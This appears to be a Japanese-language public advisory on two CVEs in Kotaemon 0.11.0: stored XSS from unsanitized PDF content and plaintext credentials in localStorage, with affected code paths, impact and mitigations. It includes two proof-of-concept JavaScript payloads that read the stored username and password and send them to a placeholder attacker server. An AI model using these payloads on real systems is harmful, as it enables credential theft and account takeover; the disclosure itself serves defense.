
CVE-2025-56526 および CVE-2025-56527 の公開開示 — Kotaemon 0.11.0 における未サニタイズの PDF コンテンツレンダリングによる格納型 XSS と平文認証情報の露出。完全な技術分析、PoC、影響評価、および責任ある開示のタイムラインを含みます。
Kotaemon の情報パネルにおける保存型クロスサイトスクリプティングが、
localStorageへの平文認証情報の保存と組み合わさることで、悪意ある PDF を 1 回アップロードするだけで完全なセッション侵害が可能になります。
<= 0.11.0(コミット 37cdc28 を含む)CVE-2025-56526 – サニタイズされていない PDF コンテンツ描画による保存型 XSSCVE-2025-56527 – localStorage への平文のユーザー名/パスワード保存| CVE ID | 弱点 | CWE | 主な影響 |
|---|---|---|---|
| CVE-2025-56526 | PDF 由来の HTML による保存型 XSS | CWE-79 | 任意の JavaScript 実行、データ外部送信 |
| CVE-2025-56527 | 平文認証情報の保存 | CWE-922 | 認証情報の漏えい、セッションハイジャック |
PDF 抽出結果(テキスト、テーブルマークアップ、画像メタデータ)はエスケープされずに DOM に注入されます。そのため、悪意ある PDF は、情報パネル(Information Panel)または推論(Reasoning)ビューが retrieved_content を描画するたびに実行される任意の HTML/JS を内包できます。
影響を受けるコードパス:
libs/ktem/ktem/utils/render.py(Render.table、Render.image、Render.collapsible_with_header)libs/ktem/ktem/index/file/ui.py(table / image レンダリング)libs/ktem/ktem/reasoning/simple.py および libs/ktem/ktem/reasoning/react.pylibs/kotaemon/kotaemon/indices/qa/format_context.pylocalStorage への平文認証情報の保存libs/ktem/ktem/pages/login.py は libs/ktem/ktem/assets/js/main.js とともに、生の認証情報を localStorage に直接保存・取得します:
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');
XSS ベクターを通じて実行された任意の JavaScript は、これらの値を即座に読み取ることができるため、確実な認証情報の窃取と長期間にわたるアカウント乗っ取りが可能になります。
alt 属性またはテキストオブジェクト内): {
const u = localStorage.getItem('username');
const p = localStorage.getItem('password');
if (u && p) {
new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
}
})();
">
{
const payload = btoa(
`id=${localStorage.getItem('username')}` +
`&pw=${localStorage.getItem('password')}` +
`&url=${location.href}&origin=${location.origin}` +
`&ua=${navigator.userAgent}`
);
new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">
username / password のペアが、注入されたすべてのスクリプトにさらされます。Kotaemon は、ユーザーが機密性の高い内部ドキュメントをアップロードするローカルまたはエンタープライズ環境で展開されることがよくあります。PDF 由来のコンテンツはサニタイズされずに DOM に挿入されるため、攻撃者は通常のビジネス文書のような外見の中に悪意あるペイロードを隠すことができます。
被害者がこの文書をアップロードして表示すると、隠された JavaScript が自動的に実行され、localStorage から認証情報を盗み取り、プライベートなチャットログやドキュメントの内容を暴露します。
トリガーはユーザーが開始したように見えますが、これは自己 XSS ではありません。 根本原因は、アップロードされたファイルから抽出された HTML をサーバー側でサニタイズできていないことであり、信頼された UI コンポーネント内での保存型 XSS を可能にします。
その結果、現実的なソーシャルエンジニアリングのシナリオでは、悪意ある PDF を 1 つだけで完全なアカウント侵害につながる可能性があります。
html.escape、DOMPurify、または DOM シンクに対する Trusted Types)。script-src 'self')と Trusted Types を展開して、DOM XSS の攻撃対象領域を縮小してください。screenshots/)







本公開アドバイザリは、業界標準の責任ある開示慣行に従っています:
Kotaemon(<= 0.11.0)のユーザーは、セキュリティ修正が利用可能になるまで以下を検討してください:
[email protected]